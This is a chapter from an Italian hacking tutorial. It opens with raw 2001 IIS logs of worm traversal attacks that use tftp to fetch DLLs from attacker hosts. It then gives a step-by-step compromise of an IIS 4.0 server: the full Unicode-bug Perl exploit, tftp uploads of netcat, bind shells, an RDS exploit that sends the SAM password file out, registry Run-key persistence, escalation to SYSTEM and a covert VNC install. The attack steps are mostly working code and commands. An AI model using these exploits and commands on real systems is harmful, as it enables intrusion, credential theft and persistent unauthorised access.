403 2001-12-13 18:50:02 217.57.241.234 - 217.57.163.98 80 GET
/scripts/..../winnt/system32/cmd.exe /c+dir 500 2001-12-13 18:50:04 217.57.241.234 - 217.57.163.98 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 404 2001-12-13 18:50:06 217.57.241.234 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200 2001-12-13 18:51:15 217.57.241.234 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.241.234%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-13 19:00:32 217.113.1.248 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200 2001-12-13 19:02:05 217.113.1.248 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-13 19:02:07 217.113.1.248 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-13 19:02:09 217.113.1.248 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-13 19:02:13 217.113.1.248 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 19:06:13 217.113.1.248 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.113.1.248%20GET
%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 19:06:14 217.113.1.248 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.113.1.248%20GET
%20cool.dll%20d:\httpodbc.dll 502 2001-12-13 19:06:18 217.113.1.248 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.113.1.248%20GET%20cool.dll
%20httpodbc.dll 502 2001-12-13 19:32:50 217.57.241.234 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200 2001-12-13 19:34:03 217.57.241.234 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.241.234%20GET%20Admin.dll
%20Admin.dll 502
#Software: Microsoft Internet Information Services 5.0

#Version: 1.0
#Date: 2001-12-12 21:44:30
#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem
cs-uri-query sc-status cs(User-Agent)
2001-12-12 21:46:42 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 21:46:50 217.57.79.187 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-12 21:46:55 217.57.79.187 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-12 21:47:00 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-12 21:47:05 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 21:49:32 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-12 21:49:51 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-12 21:51:13 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 21:51:26 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.79.187%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-12 21:51:35 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-12 21:53:02 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.79.187%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-12 21:53:13 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.79.187%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-12 21:53:41 217.57.79.187 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../Admin.dll - 500 2001-12-12 22:20:06 217.82.33.74 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 22:20:06 217.82.33.74 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-12 22:20:08 217.82.33.74 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:20:08 217.82.33.74 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:20:09 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 22:20:56 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:21:41 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:21:42 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:21:42 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-12 22:21:44 217.82.33.74 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 -

2001-12-12 22:21:45 217.82.33.74 - 217.57.163.98 80 GET /_vti_bin/..


%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:21:46 217.82.33.74 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:21:48 217.82.33.74 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:21:48 217.82.33.74 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../Admin.dll - 500 2001-12-12 22:21:49 217.82.33.74 - 217.57.163.98 80 GET /_mem_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:21:51 217.82.33.74 - 217.57.163.98 80 GET /msadc/..
%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe /c+dir
403 2001-12-12 22:21:52 217.82.33.74 - 217.57.163.98 80 GET
/scripts/..../winnt/system32/cmd.exe /c+dir 500 2001-12-12 22:21:53 217.82.33.74 - 217.57.163.98 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:21:54 217.82.33.74 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200 2001-12-12 22:21:54 217.82.33.74 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:21:56 217.82.33.74 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:21:57 217.82.33.74 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:21:58 217.82.33.74 - 217.57.163.98 80 GET
/scripts/../../Admin.dll - 500 2001-12-12 22:21:58 217.82.33.74 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+dir 200 2001-12-12 22:22:00 217.82.33.74 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:22:02 217.82.33.74 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:22:02 217.82.33.74 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.82.33.74%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:22:04 217.82.33.74 - 217.57.163.98 80 GET
/scripts/..\../Admin.dll - 500 2001-12-12 22:22:04 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 22:22:05 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:22:07 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:22:08 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:22:09 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-12 22:22:09 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 -

2001-12-12 22:22:11 217.82.33.74 - 217.57.163.98 80 GET /scripts/..


%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:22:11 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:22:13 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:22:15 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-12 22:22:15 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 22:22:17 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:22:18 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:22:23 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:22:23 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-12 22:22:24 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+dir 200 2001-12-12 22:22:26 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-12 22:22:27 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-12 22:22:29 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.82.33.74%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-12 22:22:30 217.82.33.74 - 217.57.163.98 80 GET /scripts/..
%2f../Admin.dll - 500 2001-12-12 22:27:54 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 22:30:50 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 22:30:55 217.57.79.187 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-12 22:31:08 217.57.79.187 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:31:58 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:33:33 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 22:33:38 217.57.79.187 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-12 22:33:43 217.57.79.187 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:33:51 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-12 22:34:05 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 23:38:08 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 23:38:13 217.57.79.187 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 -

2001-12-12 23:38:18 217.57.79.187 - 217.57.163.98 80 GET


/c/winnt/system32/cmd.exe /c+dir 404 2001-12-12 23:38:24 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-12 23:51:18 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 404 2001-12-12 23:51:27 217.57.79.187 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-12 23:51:35 217.57.79.187 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-12 23:51:49 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-12 23:52:16 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-12 23:53:28 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20c:\Admin.dll 502

Esempio utilizzante UNICODE BUGS


Come abbiamo detto precedentemente negli altri capitoli, le operazioni eseguite dagli hacker
possono essere suddivise in cinque fasi.
Lunico problema che tutte le informazioni di questo libro sono state suddivise in un numero
abbastanza elevato di pagine per cui potrebbero essere utili alcuni esempi in cui in poco
spazio vengono mostrati dei prototipi di attacchi utilizzando le tecniche pi comuni, ovvero
quelle che non pretendono lunghi tempi di preparazione.
La prima fase quella legata allenumerazione relativa al sistema vittima, fase nella quale
lhacker raccoglie tutte le informazioni possibili.
In questa fase utilizzeremo nmapnt rilasciato dalla Eeye.
Diamo il comando :
c:\> nmapnt -O 192.168.1.22
Lopzione O st per OS fingerprint ovvero un comando indirizzato a cercare di individuare il
sistema operativo.
Starting nmapnt V. 1.30 by Eeye
Interesting ports on ntkrkr (192.168.1.22):
(Ports scanned but not shown below are in state: filtered)
Port State Service
22/tcp unfiltered ssh
80/tcp open http
443/tcp open https
TCP Sequence Prediction: Class=trivial time dependency
Difficulty=4 (Trivial joke)
Remote operating system guess: Windows NT4 / Win95 / Win98
Nmap run completed -- 1 IP address (1 host up) scanned in 172 seconds
Dalle informazioni restituite da nmapnt ci rsulta che sul sistema attivo il protocollo http (80).
In alcuni capitoli abbiamo parlato di un utility che ci permette di leggere in modo RAW dalla
rete.
Questa NETCAT mediante la quale possiamo cercare di connetterci a IIS :
nc -vv 192.168.1.2 80
ntkrkr [192.168.1.2] 80 (www) open
HTTP/1.1 400 Bad Request

Server: Microsoft-IIS/4.0
Date: Thu, 18 Jan 2001 23:23:22 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is
incorrect. </body></html> sent 2, rcvd 224
Da questo abbiamo visto che sul server in esecuzione IIS 4.0 per cui a questo punto
potrebbe essere suscettibile al Traversal Bug.
C:\ --|-- InetPub/
|
|- wwwroot/
|
|
|- scripts/
|
|-- winnt/
|
|- system32/
La struttura di prima mostra la classica configurazione delle directory di IIS e di Windows.
Ilo nosto interesse, rispetto a questa struttura, sarebbe quella di eseguire il file CMD.EXE
presente nella directory system di windows.
Usando il percorso assoluto dovremmo specificare :
../../winnt/system32/cmd.exe
Usando la sintasi WEB possiamo specificare da browser :
http://192.168.1.2/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir

Se allinterno del BROWSER vediamo la directory richiesta tramite il comando dato allora
lUNICODE BUG funziona.
A questo punto possiamo cercare di dare dei comandi diretti al server usando un programma
che si trova sulla rete il quale apre un socket inviando i comandi al server .
Il suo listato :
#!/usr/bin/perl
# See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
# Very simple PERL script to execute commands on IIS Unicode vulnerable servers
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodexecute2 IP:port command
# Only makes use of "Socket" library
#
# New in version2:
# Copy the cmd.exe to something else, and then use it.
# The script checks for this.
# Thnx to security@nsfocus.com for discovering the cmd.exe copy part
#
# Roelof Temmingh 2000/10/26
# roelof@sensepost.com http://www.sensepost.com
use Socket;
# --------------init

if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}


($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
# --------------test if cmd has been copied:
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /sensepost.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
print "Sensepost.exe not found - Copying CMD...\n";
$command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /copied/ )) {$failed2=0;}
}
if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
}
# ------------ we can assume that the cmd.exe is copied from here..
$command=@ARGV[1];
print "Sensepost.exe found - Executing [$command] on $host:$port\n";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command
HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {
# this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S);
$|=1;
print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata

Lesecuzione del comando avviene con la seguente linea:


C:\> perl -x unicodexecute.pl 192.168.1.2:80 'dir'
Executing dir on 192.168.1.2:80
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 19 Jan 2001 00:15:26 GMT
Content-Type: application/octet-stream
Volume in drive D has no label.
Volume Serial Number is F465-557F
Directory of D:\Inetpub\scripts
01/18/01 03:15p <DIR> .
01/18/01 03:15p <DIR> ..
2 File(s) 0 bytes
28,081,664 bytes free
A questo punto proviamo a lanciare sul server il comando tftp per trasferire netcat ovvero
nc.exe

C:\> perl -x unicodexecute.pl 192.168.1.2:80 'tftp -i 172.16.41.71


GET nc.exe'
Executing tftp -i 172.16.41.71 GET nc.exe on 192.168.1.2:80
HTTP/1.1 502 Gateway Error
Server: Microsoft-IIS/4.0
Date: Fri, 19 Jan 2001 00:19:34 GMT
Content-Length: 215
Content-Type: text/html
<head><title>Error in CGI Application</title></head>
<body><h1>CGI Error</h1>The specified CGI application misbehaved by
not returning
Ora richiediamo la dir per vedere se il file stato trasferito.
Notate che lindirizzo 172.16.41.71 il nostro ovvero quello con cui tftp dovr comunicare per
trasferire il file.
C:\> perl -x unicodexecute.pl 192.168.1.2:80 'dir'
Executing dir on 192.168.1.2:80
Directory of D:\Inetpub\scripts
01/18/01 04:19p
01/18/01 04:19p
01/18/01 04:19p

<DIR>
<DIR>
59,392

.
..
nc.exe

3 File(s) 59,392 bytes


28,022,272 bytes free
Ora attiviamo NETCAT con :
C:\> perl -x unicodexecute.pl 192.168.1.2:80 'nc -L -p443 -d -e
cmd.exe'
Executing nc -L -p23 -d -e cmd.exe on 192.168.1.2:80
Il comando ha parto NETCAT sul server in modalit server (ricardatevi che NETCAT pu
funzionare da client e da server) per cui adesso dovremo aprire sul nostro sistema NETCAT
in modalit client usando la stessa porta, la 443, specificata nelo comando di prima.
C:\> nc 192.168.1.2 443
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\Inetpub\scripts>whoami
whoami
NTKRKR\IUSR_NTKRKR
D:\Inetpub\scripts>
Come potete vedere laccesso come utente IUSR_NTKRKR per cui ora tramiteb altri metodi
vedremo come cercare di alzare il livello ad amministratore.
Vedremo alcuni metodi differenti ma con lo stesso scopo.
Inutile ripetere il discorso su MSADC il quale serve ad accedere a un sistema di database.
Come default IIS include MSADC mentre questultimo a sua volta include nellinstallazione un
meccanismo chiamato RDS.
Ora proveremo ad usare questa caratteristica per copiare quello definito con il termine di
SAM (Windows Security Accounts Manager) ovvero un database criptato che contiene tutti gli
ID e le password di Wndows.
Il database SAM normalmente bloccato durante le normali operazioni e non pu essere
utilizzato se non dallamministratore.

In ogni caso quando viene creato un disco di emergenza e viene utilizzata lopzione /s nella
creazione, una copia di questo viene salvata nella directory /winnt/repair.
Partendo dalla shell che abbiamo aperto precedentemente diamo il comando :
D:\Inetpub\scripts>copy \winnt\repair\sam._
copy \winnt\repair\sam._
Access is denied.
0 file(s) copied.
Come potrete vedere non ci stato dato il permesso.
Ora recuperiamo lo script visto nei capitoli di questo libro chiamato MSADC.PL e lanciamolo :
C:\> perl -x msadc1.pl -h 192.168.1.2
-- RDS exploit by rain forest puppy / ADM / Wiretrip -Please type the NT commandline you want to run (cmd /c assumed):
cmd /c tftp -i 172.16.41.71 PUT \winnt\repair\sam._
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: Success!
Io comando ci trasferisce il file sul nostro sistema tramite tftp.
Ora che abbiamo il file SAM sul nostro sistema tramite L0phtCrack possiamo decodificare le
password.

Ora a questo punto cercheremo di aprire il registro remoto.


H:\>net use q: \\192.168.1.2\d$ /user:administrator *
Type the password for \\192.168.1.2\d$:
The command completed successfully.
Usiamo REGEDIT per connetterci :

Ora scriviamoci lo start del nostro programma in modo che ogni volta che la macchina parte
questo venga eseguito.
Un posto comodo per inserire la voce tramite questa chiave

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RunOnce, RunOnceEx, RunServices

and

La riga da mettere :
Netcat

d:\inetpub\scripts\nc L p50 e cmd.exe

Ora attivando NETCAT sul nostro sistema vedremo se siamo riusciti ad avere la shell da
Administrator.
C:> nc 192.168.1.2 50
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\WINNT\Profiles\Administrator\Desktop>whoami
whoami
NTKRKR\Administrator
Ora possiamo continuare a provare lo Spoofed LPC Port Request.
Questo altro metodo serve a tentare di alzare il livello della nostra shell, come il sistema di
prima.
Tramite la nostra shell senza diritti di Administrator proviamo a uplodare il file hk.exe
D:\Inetpub\scripts>tftp -i 172.16.41.71 GET hk.exe
tftp -i 172.16.41.71 GET hk.exe
Transfer successful: 32768 bytes in 1 second, 32768 bytes/s
D:\Inetpub\scripts>hk nc -L -p 25 -d -e cmd.exe
hk nc -L -p 25 -d -e cmd.exe
lsass pid & tid are: 50 - 53
Launching line was: nc -L -p 25 -d -e cmd.exe
Who do you want to be today?NtImpersonateClientOfPort succeeded
Ora da un altro terminale proviamo netcat sulla porta 25.
nc 192.168.1.2 25
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\Inetpub\scripts>whoami
whoami
NT AUTHORITY\SYSTEM
Chiaramente questi sistemi ci permettono di avere delle shell a livello di carattere.
La forza di Windows chiaramente la GUI per cui ora vedremo come cercare di avere una
shell grafica tramite il programma distribuito gratuitamente dalla AT&T chiamato VNC.EXE.
Cerchiamolo sulla rete e preleviamolo.
Dovremo installare alcune voci nuove nel registro per cui creiamo un file chiamato winvnc.ini
con dentro :
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3

SocketConnect = REG_DWORD 0x0000001


Password = REG_BINARY 0x0000008 0x57bf2d2e 0x9e6cb06e
Il valore della PASSWORD secret.
Ora installiamo VNC sulla nostra macchina e poi successivamente lo trasferiremo.
I files sono :
winvnc.exe, vnchooks.dll, and omnithread_rt.dll
Lanciamo
C:\>regini -m \\192.168.1.2 winvnc.ini
Ora lanciamo sulla nostra macchina :
D:\WINNT\system32\viewers>winvnc -install
winvnc -install
Ora installiamo VNC come servizio.
D:\WINNT\system32\viewers>net start winvnc
net start winvnc
The VNC Server service is starting.
The VNC Server service was started successfully.

Dopo lattivazione vedremo il computer remoto come si vede nellimmagine successiva.

Riferimenti ai bugs di IIS


Vulnerability note

CVE
number

Title

http://www.kb.cert.org/vuls/id/363715

CAN-20020071

Microsoft Internet Information


Server (IIS) vulnerable to heap
overflow during processing of
crafted ".htr" request by "ISM.DLL"
ISAPI filter

http://www.kb.cert.org/vuls/id/883091

CAN-20020074

Microsoft Internet Information


Server (IIS) contains cross-site
scripting vulnerability in IIS Help
Files search facility</SMALL< font>

http://www.kb.cert.org/vuls/id/886699

CAN-20020148

Microsoft Internet Information


Server (IIS) contains cross-site
scripting vulnerability in HTTP error
page results

http://www.kb.cert.org/vuls/id/520707

CAN-20020075

Microsoft Internet Information


Server (IIS) contains cross-site
scripting vulnerability in redirect
response messages

http://www.kb.cert.org/vuls/id/412203

CAN-20020073

Microsoft Internet Information


Server (IIS) vulnerable to DoS via
malformed FTP connection status
request</SMALL< font>

http://www.kb.cert.org/vuls/id/454091

CAN-2002-

Microsoft Internet Information

0150

Server (IIS) vulnerable to buffer


overflow via inaccurate checking of
delimiters in HTTP header fields

http://www.kb.cert.org/vuls/id/721963

CAN-20020149

Microsoft Internet Information


Server (IIS) buffer overflow in
server-side includes (SSI)
containing long invalid file name

http://www.kb.cert.org/vuls/id/521059

CAN-20020072

Microsoft Internet Information


Server (IIS) vulnerable to DoS when
URL request exceeds maximum
allowed length

http://www.kb.cert.org/vuls/id/610291

CAN-20020079

Microsoft Internet Information


Server (IIS) buffer overflow in
chunked encoding transfer
mechanism

http://www.kb.cert.org/vuls/id/669779

CAN-20020147

Microsoft Internet Information


Server (IIS) buffer overflow in
chunked encoding transfer
mechanism

You might also like